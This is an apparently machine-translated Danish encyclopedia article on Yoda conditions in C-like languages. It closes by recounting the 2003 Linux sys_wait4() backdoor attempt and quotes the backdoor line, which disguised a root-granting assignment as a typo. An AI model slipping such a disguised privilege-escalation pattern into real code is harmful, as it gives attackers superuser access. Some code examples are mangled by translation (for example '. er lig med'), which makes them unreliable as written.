Yoda vilkår

Yoda-betingelser (fra de engelske  Yoda-betingelser ) eller Yoda-notation ( engelsk  Yoda-notation ) i programmørers jargon - en "sikker" stil til at skrive sammenligningsudtryk ved programmering på sprog med C -syntaks, som består i at skrive et konstant medlem af udtrykket ( konstant eller funktionskald ) til venstre for sammenligningsoperatoren (det vil sige i 5 == astedet for det sædvanlige а == 5).

Denne stil er beregnet til at forhindre fejlen i disse sprog  - brugen af ​​tildelingsoperatoren " =" i stedet for sammenligningen " ==". Den fejlagtige brug af opgave gør Yodas notation til et forsøg på at ændre en konstant, hvilket forårsager en kompileringstidsfejl , hvilket eliminerer muligheden for fejl af denne art i det færdige program, og gør det også nemmere at finde og rette dem i ny kode .

Notationen er opkaldt efter Master Yoda fra Star Wars-universet , som har for vane at sætte ordene i en sætning i omvendt rækkefølge .

Essensen af ​​notation

I klassisk notation skrives kontrol af en variabel for lighed med en eller anden konstant som følger (eksempel i PHP -sprog ):

if ( $variabel == 52 ) { /* handlinger udført, hvis variablen er 52 */ }

det vil sige en variabel, en sammenligningsoperator og en konstant. Denne konstruktion er sårbar over for en kendt fejl:

if ( $variabel = 52 ) { // FEJL: TILDELING AF en variabel til 52 /* handlinger, der ALTID udføres, fordi værdien af ​​udtrykket i parentes vil være tallet 52, som ikke er lig med nul og derfor betragtes som sandt i denne sammenhæng */ }

En sådan kode forbliver syntaktisk korrekt, og hvis den ikke testes korrekt, kan den forblive i programmet i mange år og forårsage en alvorlig sårbarhed.

Når du bruger Yoda-notation, skiftes variablen og konstanten, så konstanten er til venstre:

if ( 52 == $variabel ) { /* handlinger udført, hvis variablen er 52 */ }

Med denne notation, i tilfælde af en tastefejl i sammenligningsoperatoren, opnås en syntaktisk forkert tildeling til en konstant, og programmet vil ikke fungere, før fejlen er fundet og rettet.

if ( 52 = $variabel ) { // FEJL under kompilering /* ... */ }

Det er nøjagtigt det samme for funktioner:

if ( someFunction () = $variable ) { // FEJL under kompilering /* ... */ }

Alternativ anvendelse af notationen

Yodas notation er også anvendelig til at løse problemet med usikker "null adfærd" ( engelsk  unsafe null behavior ) for eksempel (et eksempel i Java ):

String myString = null ; if ( myString . er lig med ( "foobar" ) ) { // Throws NullPointerException /* ... */ }

Når du anvender Yoda-notation:

String myString = null ; if ( "foobar" . er lig med ( myString ) ) { // Resultatet er falsk /* ikke udført */ }

Fordele og ulemper

Brugen af ​​Yoda-notation tillader ikke programmer i C++, Java, PHP og andre at arbejde, hvis der er fejl i sammenligningsudtryk (denne ændring ændrer ikke programmets adfærd). Nogle programmører betragter brugen af ​​denne notation som "et tegn på god smag" [1] .

Ulemperne ved notationen omfatter kompleksiteten ved at skrive, ændre og læse programmet [2] , samt et ret snævert omfang - kun sammenligning for lighed, kun sammenligning med en konstant eller resultatet af et funktionskald. Moderne udviklingsværktøjer ( kompilatorer , redaktører ) giver dig mulighed for at overvåge og udstede advarsler, når de støder på en opgave i en kontrolstruktur, da den betragtes som potentielt fejlagtig.

Fejl sys_wait4()

Bemærkelsesværdigt er det mislykkede forsøg på at injicere en bagdør i en funktion sys_wait4()i Linux-kernen (2003) [3] [4] . Udviklingen blev udført på det proprietære BitKeeper versionskontrolsystem , og om natten blev koden uploadet til det mere almindelige CVS . Dette CVS blev hacket ved at tilføje kode til systemopkaldsbehandleren, sys_wait4()der så ud til at kontrollere inputdataene for en forkert kombination af flag:

+ if ((optioner == (__WCLONE|__WALL)) && (current->uid = 0)) + retval = -EINVAL;

Bagdøren var forklædt som en simpel tastefejl - i stedet ==for =. Ved at sende to modstridende flag til en funktion blev koden udført current->uid = 0, det vil sige, at programmet gav superbrugerrettigheder .

Endnu en download af information om CVS mislykkedes, og udenlandske patches blev fjernet, før det blev klart, hvad de var. Patchen kunne ikke komme ind i den stabile kerne (forbindelsen mellem BitKeeper og CVS er envejs). Forfatteren til bagdøren kunne ikke findes.

Noter

  1. Kunsten at interviewe - gnuman.ru (utilgængeligt link) . Hentet 13. oktober 2013. Arkiveret fra originalen 28. januar 2014. 
  2. Dustin Boswell, Trevor Faucher. Læsbar kode, eller Programmering som kunst - M.: Peter, 2012. - S. 88. - ISBN 978-5-459-01188-3 , ISBN 978-0596802295
  3. Om wait4()-hændelsen på anticopyright.ru . Hentet 10. oktober 2013. Arkiveret fra originalen 15. oktober 2014.
  4. Nyheder om Linux-hackforsøg på Slashdot . Hentet 11. oktober 2013. Arkiveret fra originalen 20. juni 2015.

Links

på engelsk på russisk